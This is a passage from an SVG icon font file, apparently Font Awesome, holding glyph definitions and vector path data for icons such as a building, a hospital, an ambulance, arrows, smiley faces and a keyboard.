d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
q0 -87 -27 -168q136 -160 136 -398z" />
    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
" />
    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="smile" unicode="&#xf118;" 
d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="frown" unicode="&#xf119;" 
d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" 
d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
